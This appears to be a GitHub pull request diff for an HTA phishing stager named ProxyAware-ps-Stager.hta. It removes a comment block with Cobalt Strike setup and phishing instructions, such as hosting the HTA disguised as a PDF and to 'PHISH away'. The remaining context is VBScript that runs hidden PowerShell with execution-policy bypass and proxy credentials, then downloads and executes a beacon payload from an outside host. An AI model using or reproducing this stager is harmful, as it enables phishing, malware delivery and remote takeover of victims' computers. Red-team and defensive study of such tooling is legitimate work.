Skip to content

Comments are hard :-( #3

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
11 changes: 0 additions & 11 deletions ProxyAware-ps-Stager.hta
Original file line number Diff line number Diff line change
@@ -1,19 +1,8 @@
# CobaltStrike setup
# 1) git clone
# 2) remove the comment block “#"
# 3) Client name has to be set in the message box function
# 4) setup listener of choice -> generate payload -> fully stagged (s) -> powershell -> name “client_pto.txt” -> save to desktop
# 5) CS -> host-file -> http://s.com/download/client_pto.txt
# 6) open HTA go to line 5 and replace $wc.downloadstring('http://s.org/beacon') with -> http://s.com/download/client_pto.txt
# 7) CS -> host file -> select HTA on desktop -> HOST AS “ http://s.com/download/client_pto.pdf"
# 8) simplyTemplate -> PTO template -> use the PDF link in the template %URL% location -> and PHISH away

<script language="VBScript">
Function var_func()
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run "powershell.exe -exec bypass -w hidden -command $wc = New-Object System.Net.Webclient; $wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64;Trident/7.0; AS; rv:11.0) Like Gecko'); $wc.proxy= [System.Net.WebRequest]::DefaultWebProxy; $wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX ($wc.downloadstring('http://site.org/beacon'))", 0, true
# Beacon is a Fully Staged .ps1
End Function

Function TestBox()
Expand Down